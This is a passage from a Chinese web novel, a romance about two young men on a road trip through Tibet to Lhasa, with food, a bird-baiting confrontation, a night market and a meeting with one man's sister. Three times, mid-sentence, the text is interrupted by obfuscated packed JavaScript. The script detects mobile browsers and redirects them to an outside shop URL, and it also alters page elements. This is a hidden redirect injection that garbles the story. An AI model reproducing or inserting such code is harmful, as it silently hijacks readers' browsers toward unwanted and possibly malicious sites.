只见他拿来一壶清茶,往碗里倒了,快没过碗里的粉末——也就是青稞面,拿一旁的小刀刮一点酥油和一种长得像硬奶酪的奶制品,加了点白糖,搅成面团状,随即直接伸手进去捏了一块,捏成椭圆形。 动作行云流水,用时不到三十秒。 燕栖山呆了:“这还要DIY啊。” 他依葫芦画瓢,手忙脚乱,也不知道是清茶加多还是什么,搞出来了一碗挂壁的面糊。付舟忍俊不禁,示意他把多出来的茶喝掉再捏,燕栖山恍惚间产生了自己正在玩泥巴的错觉。 最后的成品很难称得上美观,不过好歹是自己的劳动成果,燕栖山带着好奇尝了一口。 令人意外的是口感并不如看上去那么粗糙,应该是加了酥油和白糖的缘故,口感油润微甜,得益于那种被付舟称为“曲拉”的奶制品,唇齿间带着奶香。 不过很干是真的,像压缩饼干,燕栖山就着茶往下咽,自觉脖子快伸出二里地。 “也可以加酥油茶,不过那样就太油了,更适合早餐吃。要是按照创意版那个做法,把玉米饼换成糌粑,就变成面糊汤了,也不知道老板是怎么想出来的。”付舟介绍。 燕栖山嚼吧嚼吧,奋力咽下第三块的最后一口,忽然意识到一个非常严重的问题:“这个是不是热量很高啊?” 付舟笑而不语。 想都不用想,高原的饮食大多高油高糖高碳水。 燕栖山哀嚎一声:“我的腹肌!” 付舟有心逗他:“这么有身材管理意识吗?那肯定练得很好了,我看一下?” 燕栖山登时红到了耳根。 老板突然从后厨出来,有些忸怩,说话也吞吞吐吐,他俩听了半天,才明白老板刚从北京来西藏没多久,正在探索食谱,想让他们试一下他新研发的咖啡。虽然对老板的新品研发能力颇为不信任,但喝杯咖啡也不算什么大事,两人爽快应下。 老板却还没说完似的,鼓起勇气:“两位帅哥,能不能在外面露台那边让我拍几张照啊,我想用来做社媒宣传——这顿饭给你们免单好吗?不接受也完全可以的!” 付舟摇摇头:“抱歉,我不是很喜欢被拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513144|203091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 燕栖山思考一会儿:“我倒是可以,免单就不必了,打个折吧,不过老板你倒是发布的时候能@一下我的账号么?” 老板欢天喜地,连连应声,眉毛都要飞出胖脸。 在咖啡机那边非常神秘地捣鼓一阵,期间伴随着不祥的搅打声,老板端出两杯泛着红褐色的泥水色液体,看着不妙,不过闻着倒是很香。 他邀功似的一挥手:“这是‘粉粉嫩嫩桃花酥油香喷喷拿铁’!” 什么拿铁? 付舟给燕栖山使了个颜色,示意他这个咖啡派的人先行品尝。 燕栖山看上去很专业地轻抿一口“粉粉嫩嫩桃花酥油香喷喷拿铁”,姿态优雅地放下杯子并不动声色地往付舟那里推推,印着桃花印花的纸巾抹抹嘴,举止浮夸: “嗯,前调果香,中调玫瑰略带奶油味,后调坚果,有炙烤感,很厚重,口味的融合可能还需要调整一下。” 真有那么好喝? 付舟难抓起自己的杯子尝了一口。 我靠,好难喝! 简直像服毒,付舟真是用尽了所有面部神经才堪堪维持住体面的表情,他绷着脸,冲老板点点头。 老板把这当成了认可,立刻喜笑颜开。 面对老板期待的眼神,燕栖山露出一个类似于牙痛的神情,咬咬牙把他那杯一饮而尽。 “呕。” 老板赶紧问:“怎么了?不好意思,是不是很难喝啊?” “没事···没事,”燕栖山麻木道,“我刚吃多了,有点撑,哈哈。” “你再说一遍?”见老板走远了,付舟难以置信地问。 “呃,你要听实话吗?入口即酸,接下来齁,有股绿化带味儿,咽下去喇喉咙,像烟灰水。”燕栖山压着声音,语速飞快,“快快,给我口白水,有块没化开的酥油沾我嗓子眼儿了。呕,咳咳咳。” 拍摄时间,老板让燕栖山先是坐在露台那边的椅子上,后又放松地靠着栏杆,这样可以更好地拍出身后的雪山桃花。 付舟站在老板后面看,越发觉得他实在是很好看很养眼的青年人,完美地诠释着人面桃花这个词。那桃花面忽然朝他笑,像是画里的人活了。 “好——这个表情特别好!”老板赞道。 燕栖山也在看付舟,付舟身后有一颗很大的野桃树,忽而刮来一阵风,把树上的桃花吹得纷纷而下,雪花一样落了付舟满头满身。他脸上露出些许讶异的神色,抬手把肩头上的花瓣拂去。 注意到燕栖山的注视,付舟困惑地微微歪头,随着这一动作,他墨发上的花瓣又落在身上。 燕栖山大学学的是历史,但常常蹭隔壁中文系的课,因而他忽地想到一句词: “砌下落梅如雪乱,抚了一身还满。” 他和老板加了社媒,道别后两人再次上路。 咖啡固然难喝,不过好歹提神,从波密县开到拉萨要快九个小时,他们还得顺道去林芝市加个油,抵达拉萨是估计已经将近半夜。 又换成付舟开车,他忽然想起什么:“听说拉萨有挺多夜市烧烤的,要不要到了之后去吃一顿,就当是散伙饭了?” 燕栖山整理安全带的动作顿住了,结巴道:“散,散伙饭?” 付舟理所当然:“你不是后续还有拍摄工作?我拿了行李得和导师开个会,看看下一步干什么,说不定就回英国了。” 桃花沟里满是雾气,现在似乎蒙住了燕栖山的眼睛,让他看付舟时看到的对方的眼睛也很渺茫。 而花非花,雾非雾,感到渺茫的只是他的心。 片刻,他伸手,帮付舟摘掉还沾在耳边的桃花,才回答:“是啊,好,散伙饭。” 现在是下午两点三十九分,他们距离拉萨还有六百零五公里,八小时二十七分钟。 14. 藏南血雉 318国道这段一路上没什么大拐弯,开着难免叫人犯困。 燕栖山坐在副驾直打瞌睡,但迫于咖啡因的无形压力不得不吊着眼皮,想睡也睡不着。他点开手机捣鼓,一打开微信燕越水的消息又着急忙慌地蹦到脸上,确定付舟正在专心开车绝对不会注意到他这边之后,燕栖山放心大胆地冲手机翻了个白眼。 世界上有两种常见的兄妹关系,其一是和和气气相亲相爱一家人,其二是仇人。 而燕越水和他属于第二种。 兄妹俩名字里有山有水,听着一派岁月安好,其实相处起来是俩大闹天宫的幼稚鬼,撞一块儿年龄自动减去十岁。 究其根源,只因为他俩都是性格有些执拗的人。 例如燕栖山偶尔会冒出点少爷脾气,具体表现为微妙的控制欲——他从小想要的,只要不是过于匪夷所思的东西,他就一定得到手。 幸好他是个习惯考虑周全且寡欲的人,这个略有些偏执的性格倾向还不至于造成什么问题。 而燕大小姐则不同,这姑娘今年21岁,为人处世的信条只有一个字——“莽”。 俗称干就完了。 两人小时候抢乐高奥特曼漫画书芭比娃娃结下血海深仇,长大见面就掐成一对乌眼鸡。 燕越水在北京读书,正值大三升大四的第二学期,她修完学分,还没到该准备考研考公找实习的时候,当即一拍脑袋准备开车送甘肃的室友回家,路上顺道公路旅行。 本来就算她一路向北开到西伯利亚燕栖山也不想管,反正他知道妹妹不会亏待自己。 然而风风火火地开着家里给她新买的越野车杀到银川之后,这位大小姐又是突发奇想,决定挑战自己,自驾直达西藏。 连开两千五百公里,中间还在青海湖美美旅拍一轮,燕越水即将抵达终点拉萨,同时她也终于对开车厌倦了,现在正试图把这辆两吨的麻烦丢给亲哥。 而最大的问题是——她没有告诉爸妈,老两口至今还以为闺女老老实实地在首都玩耍。 付舟瞥见燕栖山眉头紧锁,问:“怎么了,是哪里不舒服吗?你要不要也吸点氧?” 燕栖山立刻挤出一个微笑:“没事,我刚刚得知,后续考察有车用,我不用再租车了。” “哦……这是好事啊。”付舟似懂非懂道。 燕栖山苦笑:“是福是祸也未可知。” 要是被爸妈知道燕越水一个人勇闯青藏线,他这个当哥的绝对得被连坐,轻则挨骂,重则相亲。 付舟见他没继续说,自知不便多问,于是继续专心致志地当司机。 从波密到林芝要经过色季拉山口,这是318国道林芝段的关键节点,几乎和墨脱的位置遥遥相对,可以看到南迦巴瓦的另一面。 他们俩开车分工很简单,高海拔燕栖山开,稍微低点付舟开。 起先付舟还担心燕栖山会不会高反,毕竟上海是一个海拔几乎为零的城市。 把车停在海拔近五千米的山口观景台停车场,付舟提醒他:“你注意着点手表的血氧浓度,我好像海拔一过三千就会掉到百分之八十以下。” “对啊,都忘了还有这个功能了。”燕栖山戳戳电子表的屏幕,把手腕转向付舟,“我看好像还可以?” 血氧浓度:95%。 付舟骇然,这家伙真是个牲口! 这个观景台旁边就是林芝著名的旅游小镇鲁朗,比他们村里的那个热闹许多,到处是小摊贩和游客,远处一根木柱上引出成千上万条数也数不清的经幡,随风飘荡,站在其中仿佛被彩虹环绕。 小镇有点“偶像包袱”,连墙边的柴火都砍得大小相等,整整齐齐的码成一摞,镇里的桃花也不同于桃花沟里野生的淡粉色光核桃,是一种更为艳丽的玫红色,大概是后来手植的,也不知道是不是本地的品种,个个儿都修的形似盆景。 山坡上生着五光十色的杜鹃花,光是付舟能辨认出来的就有超过十种,放眼望去天地间非常明媚。 这个角度的南迦巴瓦和加拉白垒峰像画,连绵的山峰乍一看几乎是平面的,带状的云雾缠在山腰上,付舟正漫不经心地打量山下河谷沙洲上一簇一簇的藏柳,就听见后头燕栖山带着怒气的声音: “你们住手!” 付舟赶紧回头,发现燕栖山正在大步走向几个端着相机的男人,他跟上去一瞧,对方竟然还有些熟悉。 能让他这个轻度脸盲患者感到熟悉的人,肯定在三天内见过,付舟细细一想,想起来原来对方是他们在80k碰见的那几个观鸟佬,当时只是打了个照面,没说过什么,他就记得他们好像对燕栖山的相机颇为艳羡。 为首的男人被燕栖山吓了一跳,手里的东西掉在地上——一包刚开包的薯片。 他们一帮人正拿着长枪大炮对着一只在路上晃悠的大鸟,那鸟有浅绿的下腹和大红的前胸,眼睛周围有一圈花纹,付舟觉得那花纹特别像写轮眼。此时,大鸟正有点费劲地啄着地上的一小包压缩饼干。 “为什么诱拍?”燕栖山脸色苍白,抿着嘴,付舟头一回见他这么恼火。 男人讪讪一笑:“兄弟,喂一下不要紧的,为了出片嘛,你懂的呀。来来,消消火。等下哥们儿请你喝一杯赔罪?”说罢递上一支烟,作势要帮燕栖山点上。 燕栖山并不领他的情,把烟推回去:“我不抽。你给血雉喂莫名其妙的东西,中毒了怎么办?” 他指指地上的包装纸:“如果被小鸟吃了会很危险,难道你们为了拍照就不顾小鸟的命了吗?更别说这是在给景区制造垃圾。”他说话语气很冲,把那男人呛得哑口无言。 男人愤愤地一跺脚,往一旁呸了一口,血雉被惊到,扑棱着翅膀消失在林子里。 “不拍就不拍,真他妈事多……” 男人挥挥手,示意他的朋友跟他离开,不料一转头撞上付舟,付舟冷着脸:“麻烦把垃圾扔掉带走,有点公德心。” 他俩看着男人骂骂咧咧地把地上的食物残渣清理干净,确保他没有继续诱拍的打算之后才继续上车准备出发。 燕栖山不做声地点火发车,付舟看他还是很生气的样子,伸手从他爷爷给的零食里摸了个香橼掰开,清新的柑橘香气立刻弥漫在空气里。 这里的香橼又称墨脱大柠檬,果肉也和柠檬差不多,只是外面白色的区域更宽,付舟切了一片,递到燕栖山嘴边: “喏,别气了,我之前参加学校的项目去非洲,也是每天都遇到要给野生动物乱喂东西的,真是……” 他当时在东非稀树草原考察,拼向导的几个游客非得去喂犀牛,然后那头两米高的非洲黑犀大怒,开始以四十五公里的时速追逐他们,而他们开始拔腿狂奔,完全是生死时速。 幸好犀牛追到一半就对他们丧失了兴趣,不然付舟估计都不会活着回忆这件事。 那天付舟第一次体会到劫后余生是什么感觉,回去吃饭时他手抖得都握不住刀叉,吃两口就开始跑到卫生间疯狂呕吐。 燕栖山被他喂得受宠若惊,只是还是有些恼:“那些诱拍的拍出来也根本不是小鸟的自然状态,之前甚至有人为了拍隼会买鹌鹑来故意折断翅膀,实在太过分了!” 说完低头愤愤地咬香橼,结果用力过猛,一口咬在付舟手指上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513145|203091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他的犬牙很锋利,结结实实地给付舟指节上留下个牙印。 “啊啊啊对不起!要创可贴吗?”燕栖山大惊失色,暂时忘记了生气。 “不打紧,没破皮……” 付舟对着光研究那个泛红的印子,“嘶,下嘴挺狠,你属狗啊?” “对不起嘛,付哥,真不是故意的。” 又是撒娇的语气,付舟很吃他这一套,不由得心花怒放。 趁着在加油站停下,付舟无赖地把手伸给燕栖山:“栖山,我手还痛呢,要不你给我吹吹?” 这是个玩笑话,付舟自己觉得没什么,他有个坏毛病,就是很容易对关系好的人说话缺乏边界感,所以偶尔招致误会往往也是他自作自受。 加油站顶遮光,燕栖山半张脸在阴影里,眸子是暗的,叫人看不清他的表情。 付舟看他不做声,嘴角绷出一条直线,意识到自己玩笑开过了,刚要找补:“我开玩笑的,早就……” 还没来得及把“不痛”两个字抛出去,燕栖山就捧起他的手: “可以啊,付哥。” 和他那个梦里的台词一样,付舟当即僵住了。 燕栖山动作很轻,好像手里不是付舟那只长了很多薄茧的和金贵毫无关系的手,他平时上学带实验手套,手指常常干裂脱皮,有段时间连指纹解锁都用不了,还是在王瑞秋教他戴手套之前要抹大量护手霜才有所好转。 燕栖山手上也有茧子,在中指指节,恰巧是可以卡住相机的位置。茧子蹭到他的手,是粗糙的。 他就那么托着付舟的手,在那个已经快要消散的牙印上吻了一下。 付舟在燕栖山嘴唇碰到他手的那一刻大脑就宕机了,他僵在那里,发麻的感觉从指尖一直爬到脸颊,他甚至忘记把手抽走。 燕栖山自己把付舟的手放下,等了等,见付舟还是张大眼呆望着他,于是扯扯嘴角: “付哥,别见怪,我也是开玩笑的。” “哦……哦,好的,fine,没事。”付舟语无伦次地应。 此时此刻,他脑子里冒出的唯一想法竟然是燕栖山的嘴唇好粗糙,有的地方还裂开了,西藏天干物燥,他到底有没有每天好好涂润唇膏啊? 拉萨八点天就全黑,向来也不是什么夜生活特别丰富的城市,他们十点多抵达的时候四周已经陷入沉睡,只有八廓街附近的夜市还有些人气。 全国各地热门夜市上的烧烤味道大差不差,无非是臭豆腐淀粉肠烤冷面之类,好吃的精髓在于油大和调料。他俩随便点了些串,找了张小桌子,面对面坐下开始默默吃。 燕栖山莫名其妙地亲他之后就开始装哑巴,付舟摸不透他到底要干什么,他本人也不是会主动问东问西的类型,只得一边观察一边求助场外观众。 【FUZHOU】我问你,有人亲你的手是什么意思? 【专止小儿夜啼】这人暗恋你,或者是模仿一种礼节,你小子又在搞什么? 【FUZHOU】哦,应该是吻手礼,无事退朝,跪安吧。 【专止小儿夜啼】有事!有事!谁亲你了?你朋友圈发的那个大帅哥? 【专止小儿夜啼】喂!回答我!!! 付舟没法回答,因为燕栖山伸手把他的手机上端按住了,突然变得寡言的青年不知道什么时候已经站到他面前,居高临下地逼视着他。 这人气势逼人,一开口却是非常可怜兮兮的恳求口吻: “付哥,不是散伙饭吗?那散伙之前能不能抱我一下呀?” 嘴角还沾着辣椒粉,手里拿着一串炸土豆的付舟目瞪口呆。 15. 沙棘 习惯考虑周全的燕栖山在说这句话之前没有考虑周全。 他看见付舟忙着发消息,连自己一直在注视他都没发觉,看着还挺乐呵,也不知道在和谁聊天。 燕栖山闷闷地喝他的可乐,他牙齿发酸,心里也发酸,硬是喝出了借酒消愁的感觉,可是等他用力把易拉罐扔在桌上的时候,付舟还是没施舍给他任何一个眼神。 为什么是施舍,我怎么会觉得这是施舍,燕栖山不知为何有些愤懑。 我不需要他的施舍。 燕栖山觉得自己大概是开车太累了,所以才累到没来由的感到内心郁结。 可他还是想知道付舟为什么这么满不在乎,好像现在这只是一顿普通的夜宵,而不是他们的最后一顿饭。 他从小就不是一个擅长应对分别的人,他家是学区房中的学区房,幼儿园小学初高中之间最远相隔两个路口,甚至由于大学也是本地的所以同市还有许多以前的同学,不存在什么一生只能见一段时间的朋友。 燕栖山想自己是不是多少对付舟产生了点吊桥效应,因为身在异乡而承蒙他的照拂,这么些天里他还没有来得及表达谢意。即使最开始是付舟有求于他,他现在还是觉得是自己亏欠的多些。 要是换做别人,他会笑着说这些天来多谢你陪我旅行,能遇到你真是太好了太幸运了,这本不是什么难事——受惠于他人要道谢是他从小被教育的基本礼节。 他此时却想,要是我说出这句话,那是不是意味着付哥以后和我就没什么关系了?是不是意味着我们这种“合作关系”就到此为止了? 他为人一向比较有边界感,从来就没什么干涉别人生活的想法,当然也不希望别人干涉他,付舟和他本就是因为墨脱意外封路稀里糊涂地搭了伙,现在都到了七百公里外的,那么好聚好散也是应该的。 可要是我能把付哥留下来就好了,燕栖山忽然想。 ……又以什么理由留下。 他又不是什么非要和家长吵着要在商场游乐区再多玩一会儿的任性小孩,强留人家完全是耍性子的无理取闹。 眼见着盘子见底,燕栖山觉得八成是要到告别的时候了,碳酸饮料里的气反到气管里,他抿着嘴,才发觉下嘴唇干裂了一道,有点渗血,舔着隐隐发痛,挂着一点摇摇欲坠的死皮。 付舟还在和别人聊天,他瞧着无端委屈,估计又是和他哪个暧昧对象。 想都没想,燕栖山伸出手按住付舟的屏幕,很想质问一下他为什么一点“散伙”的伤感都没有,是不是一点都没有他这么……在乎。 可是他看到青年井水似的眼就忽然地胆怯了,最终只是吞吐出一句能不能抱一下。 燕栖山根本没意识到自己声音里的那点恳求。 他心里酸胀,想着抱下就好了,多少算个念想,毕竟西藏是一个该留下念想的地方。 付舟很惊讶地瞧他,但没有拒绝的意思,清瘦的青年放下手里的东西站起身,他们俩离的很近了,中间不过一个井盖的距离。拉萨的夜晚寂静、风凉。 只是任何一个城市的晚上都不会是空无一人的,更别说他们正处于市中心的夜市当中,身后隐约传来喧嚣而模糊的人声,燕栖山不敢看付舟的眼睛,可能是太冷了,他的手在发抖。 他走上前去。 一股强大的力量把付舟和他按在了一起! 燕栖山:!!! 付舟:??? 有夜市的地方就有酒鬼。 “qiang la nei sun ~ba chuo bo xiang la que~~” 一位魁梧的藏族大哥像头熊一样扑过来,把他俩紧紧搂在怀里。 大哥神志不清,臂力惊人,燕栖山感觉自己的肋骨要从喉咙里被挤出来了。 努力后仰躲避正在放声高歌的醉汉嘴里的酒气,燕栖山一边奋力掰开对方手臂,一边绝望地想自己刚刚设计的拥抱可不是这样的。 他们现在实在是太像在酒后打群架寻衅滋事,付舟也无心去想刚才燕栖山到底是什么意思,从死亡怀抱里扯出一条胳膊,拍拍大哥的脑门儿——他实在找不到更体面的方式了,而且他等下不想因为扰乱治安被送进公安局。 “lags(劳驾),”付舟试图引起对方的注意,“lag sol rog mozod,khyed rang chang mang po sol song(松手,你喝太多了)!” “对不起对不起,给你们添麻烦了!” 好在大哥还算清醒的酒友及时出现,道着歉把大哥拖远,顺手还抽了大哥一巴掌,很难说没有私人恩怨。 闹剧结束,付舟揉揉自己被勒痛的腰侧,转向燕栖山:“你刚刚是什么意思,想和我抱一下?” 燕栖山眼神躲闪,顾左右而言它:“那个······不是要见不到了吗,就想着,呃,‘兄弟抱一下,说说你心里话’?……抱歉,我也喝多了。” 真是世界之大无奇不有,付舟醉酒的人见多了,还见过从高海拔地区离开之后醉氧的,就是没见过燕栖山这一款醉可乐和炸串的。 不过眼下还有另一个问题需要纠正。 “谁和你说吃完这顿就见不到了?今天晚上你不和我住吗?”付舟困惑道。 “啊?” 燕栖山比他更困惑,他原以为他们接下来就该各干各的,他去章鸣所在的医院附近找个酒店,付舟去贡嘎机场取回行李,住那边再订回英国的机票。 因为他早已偷偷查了,从拉萨市中心到机场路程一个多小时,来往不方便。 “喏,”付舟点开旅游APP给他看,“市中心酒店单人间560一晚,双人间600,机场酒店单人379,就算加上去机场的大巴往返票60,我平摊下来也比住机场便宜不是?况且住市里比机场那边方便许多,就看你要在拉萨待几天?” 付舟见燕栖山呆呆的没反应,又打趣:“怎么,不乐意和付哥住一块儿?” “怎么可能!我只是没想到这一层。” 燕栖山对钱不敏感,他刚才还在心算付舟给的一堆数字。 此时他开始有点恼自己不当家不知柴米油盐贵,怎么就没考虑考虑别人的预算问题,还搞得自己担惊受怕半天。 吃完顺着拉萨的街道走,一离开八廓街,四周就变得黑漆漆静悄悄,他们有一搭没一搭地聊,太过困倦也不知道在说什么,燕栖山突然想起刚才那藏族大哥唱的歌,于是他问付舟那首歌叫什么,歌词又是什么意思。 “噢,是藏族的祝酒歌,他唱的那句意思是‘第三杯酒,献给在座的朋友。’” 燕栖山:“后面的歌词是什么?我听那大哥来回就这一句。” 付舟没回答,燕栖山刚想补充不记得也没事,等下回去了大可查查,付舟忽然用很轻很轻的声音唱起来: “qiang sui da ga,bkra shis ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513146|203091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' de legs zhu,yan la bkra shis de legs zhu~” 刚刚大哥鬼哭狼嚎,硬是把这首歌唱出了《黄河大合唱》的气势。可或许是为了不吵醒沿路的人,付舟唱得相当温柔,他嗓子压低时有些沙哑,像碎石滩上涓涓而过的流水,燕栖山自幼五音不全,对会唱歌的人一向十分崇拜,此刻竟听得怔住。 付舟唱完这一句,开始倒着走看他反应,燕栖山看来实在是困,语无伦次地说了一堆好,给他逗得直乐。 不等燕栖山询问,付舟就解释:“这句歌词是‘敬献美酒哈达,祝吉祥如意’。” “我听出来了,吉祥如意就是‘扎西德勒’,对吧?”燕栖山赶紧挖掘自己可怜的藏语储备,末了补上一句,“付哥,祝你‘扎西德勒’!” “嗯,你也是,扎西德勒。” 付舟没和燕栖山说,他其实偷偷改了歌词,原歌词结尾就是重复的两句“祝吉祥如意”,是祝福酒席上所有的来宾,并没有什么特指,而他的最后一句是唱给燕栖山的,唱的是: “祝小燕吉祥如意”。 第二天付舟一醒来就看到燕栖山正在他的床边踱步,神色格外忧心忡忡,由于他躺着燕栖山哭丧着脸站在床头实在太不吉利,付舟连忙揉揉眼爬起来,问他有事吗。 燕栖山不太喜欢有求于别人,犹豫半天,开口问: “对不起,付哥,能占用你今天一天时间吗?” 付舟习惯性地逗他:“你是要和我date吗?” 这里是个文字游戏,Date既可以指约会,也可以单纯指约见面,看对方怎么理解。 燕栖山却没接他的话茬,只是又急急地往下说了:“上午和我妹约在布达拉宫前面的广场见面,下午要和我同事开会,老章说想请你吃个饭,感谢这一路上对我的照顾,不过他现在还没出院,让我们自己打包吃的去,他报销……” 估计是他自己也觉得章鸣这请客方式过于奇葩,立刻补充:“你不想去也不要紧的,我拒了就好。” “没事,反正我今天有时间,和机场约的是明天拿行李,”付舟觉得奇怪,“请客吃饭能理解,不过你见自己妹妹,为什么要我跟着?” 燕栖山似是有难言之隐,支支吾吾片刻:“呃,你不去的话,我怕我俩因为在大街上互殴被拷走。” 这不是全部的原因,虽然他和燕越水关系确实比较一言难尽,小时候一天一小打三天一大打是常态,但作为两个成年人,他们还没幼稚到会当街大打出手的程度。 更多的原因在于,他非常想把付舟介绍给自己的家人,爸妈远在上海没法见面,妹妹却是自投罗网地来了,燕栖山迫切地想告诉她他的付哥有多好。 他是带着一点微妙的炫耀心理的。 不是吧,这兄妹关系也太辛辣了点。 付舟暗暗吐槽,不过长期和面对爸妈时狼狈为奸,彼此相处时同室操戈的王氏姐弟待久了倒是也能理解这种复杂的关系,甚至于付舟偶尔会有点羡慕,毕竟他那个家里他只能和自己玩。 然而,在布达拉宫前铺有巨大的镜面玻璃的广场……一旁的路边停车位见到的燕越水同志,还是大大出乎付舟的意料。 燕越水即使在满是穿着各式藏袍拍照的游客的广场边也非常惹眼,付舟一眼就看到了她。 第一反应,他想这姑娘个子真高。 第二反应,他想这姑娘似乎有点疯了。 16. 香橼 燕越水看上去刚到没多久,正倚着车百无聊赖地横屏打游戏。 车首先就很惹眼,那是一辆纯黑的路虎卫士110,车体像个巨型方盒子,堪堪塞进路边狭小的车位(从这一点就能看出燕越水的开车技术远胜她哥)。即使是在越野用车里卫士110也算是体积很大的,不过燕越水站在旁边完全没有被车的气势压倒。 因为付舟惊悚地发现这姑娘穿了一双底足有十厘米厚的皮靴。 她本身个子不矮,就算不穿靴子应该也有将近一米八,现在更是一举超越燕栖山的海拔,大眼睛带着压迫感一眨不眨地扫向付舟,看着异样——她戴了淡蓝色的美瞳。 说好的在高原尽量穿平底鞋和不要带美瞳呢,付舟有点为对方担忧了。 燕越水齐耳短发,和燕栖山的五官相像,是那种站在一起就能辨认出有血缘关系的兄妹。但相较于燕栖山,她反而脸上线条更英气,眼睛又特别大,盯着人看的时候像只猫头鹰,一眨不眨,微微有点瘆人。 然而她下一秒就破功了,美瞳太干,搞得大小姐视线模糊地趔趄一下,差点被马路牙子绊倒。 趁着燕越水哭丧着脸把靴子换成运动鞋的当口,燕栖山不客气地放风凉话: “哟,燕小姐,半年不见还是这么爱装啊。很遗憾,您老这把年纪已经很难再比我高了。” 女孩子发育早,小时候有段时间燕越水比燕栖山高半个头,她那时为此很是趾高气扬,天天拿鼻孔看人,还到处宣传她才是姐姐。 燕越水恶狠狠地回复:“你不也一样,别以为我不知道你每个月在你那颗宝贝脑袋上花多少钱做头发,以为自己烫个头就能靠头发到一米九吗?” 燕栖山一噎,嘟囔大人不记小孩过。 等她换好鞋抠了美瞳,再抬头捡到付舟立刻笑着伸手:“付老师是吧,您好您好!”和刚刚那个放垃圾话的姑娘判若两人,看来这兄妹俩都是窝里横,对外人坚决做到“温良恭俭让”。 “哎呀,付老师,我哥是个废物,这些天来承蒙您照顾,唉,和他相处不好受吧……”燕越水笑容可掬,过分热情地抓着付舟的手疯狂上下摇动。 燕栖山火了:“别对人家动手动脚!你这个自说自话从京津冀乱跑到大西北还不报备的有什么资格说我?” 燕越水冲他做鬼脸吐舌头。 燕栖山撇着嘴翻白眼回去。 付舟眼看他们开始就燕越水接下来的行程激烈争吵,中间又开始夹杂大量他听不懂的方言,于是退到一旁留足空间,正巧有时间看看昨天晚上导师给他传的邮件。 跳过前头一串关心他身体健康和西藏天气的寒暄,付舟锁定后面的重点,不由得愣住。 他的导师是Kew Garden(伦敦皇家植物园)的学者,在许多国家的各类环境保护基金会也有挂职,平常手下带了很多植物学和其他交叉学科的项目,之前付舟也经常参与。 现在他又被递了一个,导师在邮件里暗示做完这个项目他应该就能顺利毕业。 只是…… 付舟有点犯愁,这个项目聚焦世界公路沿线外来入侵物种的分布扩散,所以导师要求他继续留在西藏,最好还要再在西藏沿路到处跑一跑。 项目经费倒不是问题,他一个人花不了多少,重头是回英国之后的实验室环节,不过最大的问题也出在他是一个人。 导师在邮件里问他是否需要他再申请几个帮手,不过弄签证和前期准备大概要挺久的,他也可以选择先回英国。 付舟看着燕栖山,心下忽然产生了一个想法。 拉萨没有高楼,最高的建筑就是布达拉宫,浩渺的风从高原稀薄的大气上呼啸而下,吹动塔尖上的经幡,广场上高高的国旗和付舟已经到肩颈的头发,发丝沾到眼睛,涩涩地发痛,他把头发用指尖挑开,心想出发前一定得把头发切了。 燕栖山刚和燕越水讨论完,两个人夹枪带棒地互相威胁一番,决定燕越水明天就飞回上海去,假装把车扔在北京。什么自驾什么甘肃西藏的,就当没发生过。 解决一桩烦心事,燕栖山想起和章鸣的约定,招呼着付舟准备一起去医院,燕越水打断:“付老师,我开车送你好了,我哥嘛,皮糙肉厚的,多走走锻炼身体。” 燕栖山脸色发青,但也不好说什么,问付舟:“你高反好些了吗,要不还是坐车吧?” 付舟不想被当病号,况且他确实已经好许多,推辞道医院本就不远,布达拉宫这块车多路堵,开来开去也是麻烦。燕栖山耀武扬威地看燕越水,燕越水却示意他附耳过去,燕栖山不明所以。 她小声说:“大哥,你看付老师的眼神好恶心。怎么,少年,坠入爱河了?” 知兄者,妹也。 医院高反病房。 章鸣正在病床上吸着氧躺尸,他除了躺在酒店休养生息,就是被医生命令每天都得来吸上这么一会儿。 韩灵溪和鹿斐很不见外地拿了个床上桌啃炸鸡,香飘十里,好在病房没其他人,这个味道只能刺激一下被要求清淡饮食的病号章鸣。 “哎,小燕,这边这边!” 韩灵溪今年三十五,是编辑部的“大姐大”,来过青藏高原不少次,平常热衷于爬山和野外徒步,身体素质极好。 “那个袋子里还有‘卡塞’和炸土豆,快趁热吃,一会儿不脆了。” 鹿斐是个矮个儿圆脸的姑娘,比燕栖山年纪还小,今年大二,这次是跟着韩灵溪来实习的。她人比较腼腆,小声打招呼,给燕栖山和付舟递过来一次性手套。 “付老师您好,听说前几天您高反来着——章鸣你起开,让付老师坐床上。”韩灵溪冲付舟笑道。 章鸣闻言大怒:“有没有人在意我的死活啊!” 编辑部很热情,一上来就把付舟当好朋友,反而是弄得他有点不知所措了。他想挨个儿握手,韩灵溪冲他展示自己油光锃亮的手,意思是别费这劲儿。 所以他只得捡了一个“卡塞”吃,这是一种藏族的油炸食品,外头是甜甜的多层面壳,里面是牦牛奶,一咬就扑簌簌地落酥皮。 